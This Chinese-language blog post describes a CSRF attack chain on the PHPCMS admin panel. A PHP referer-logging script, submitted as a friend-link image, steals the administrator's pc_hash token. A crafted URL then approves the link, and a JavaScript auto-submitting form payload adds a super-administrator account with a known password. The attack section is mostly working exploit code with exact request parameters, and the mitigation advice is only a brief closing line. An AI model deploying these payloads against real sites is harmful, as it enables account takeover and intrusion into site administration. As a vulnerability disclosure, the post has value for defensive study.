众所周知phpcms登录后台后,有一个pc_hash作为防范CSRF的TOKEN,且看我怎么利用一个组合技来进行CSRF攻击的。   phpcms安装好后默认允许申请友情链接。而且友情链接分两种:文字链接和图片链接。   其中图片链接,管理员在审核的时候,图片会直接显示后台。而后台url中是包含这个pc_hash的,我们就能在图片的referer里找到这个pc_hash~~岂不妙哉?   利用方法如下:   首先我在本地简单写了一个获得referer的脚本:  

<?php

$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

file_put_contents('referer.txt', $referer);

?>

 

  然后把这个脚本作为图片地址,申请友链:   PHPCMS组合技进行CSRF攻击 – 网站安全 – 自学php插图     管理员在后台访问“友情链接”功能的时候,我已经窃取了其pc_hash:   PHPCMS组合技进行CSRF攻击 – 网站安全 – 自学php插图1 实战中,我们还可以把这个做的像一点。比如用php输出一张真正的logo,这样不但获得了pc_hash,而且还像一个真的申请友链的请求。   这时我本地已经获得了referer了:   PHPCMS组合技进行CSRF攻击 – 网站安全 – 自学php插图2 那么,获得了pc_hash可以干什么?当然是CSRF了,举个简单的例子。   我可以构造如下链接:   http://localhost/phpcms/index.php?m=link&c=link&a=check&linkid=4&pc_hash=lrP5dK     作为图片欺骗管理员浏览,就能把id=4的友情链接审核通过。也就是我刚才申请的那个友链。       再来一个厉害的。  

gum = function(){

    var u = {

        'version':'1140213',

        'domain':'{{domain}}',

        'backinfo':{},

        'author': 'https://github.com/quininer/gum'

    };



    u.e = function(code){try{return eval(code)}catch(e){return ''}};



    u.name = function(names){

        return document.getElementsByTagName(names);

    };



    u.html = function(){

            return u.name('html')[0]

                    ||document.write('<html>')

                    ||u.name('html')[0];

    };



    u.addom = function(html, doming, hide){

        (!doming)&&(doming = u.html());

        var temp = document.createElement('span');

        temp.innerHTML = html;

        var doms = temp.children[0];

        (hide)&&(doms.style.display = 'none');

        doming.appendChild(doms);

        return doms;

    };



    u.post = function(url, data){

        var form = u.addom("<form method='POST'>", u.html(), true);

        form.action = url;

        for(var name in data){

            var input = document.createElement('input');

            input.name = name;

            input.value = data[name];

            form.appendChild(input);

        };

        form.submit();

    };



    return u;

}();



gum.post('http://target/index.php?m=admin&c=admin_manage&a=add', {

    'info[username]': 'test',

    'info[password]': '123123',

    'info[pwdconfirm]': '123123', 

    'info[email]': '123@qq.com', 

    'info[realname]': '',

    'info[roleid]': '1', 

    'dosubmit': '提交', 

    'pc_hash': 'lrP5dK'

});

 

  把pc_hash修改为你获得的pc_hash,然后将以上代码放在任何html页面中(不限域名),诱使管理员访问,即可为目标站点增加一个用户名为test,密码为123123的超级管理员账户:   PHPCMS组合技进行CSRF攻击 – 网站安全 – 自学php插图3 修复方案: 没啥好建议。别把pc_hash放在url中
官方已经补丁

    上一篇: Yungoucms商业框架sql注入及修复 - 网站安全 - 自学

    下一篇: FineCMS v1.x远程代码执行 - 网站安全 - 自学php
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《PHPCMS组合技进行CSRF攻击 – 网站安全 – 自学php
   

还没有人抢沙发呢~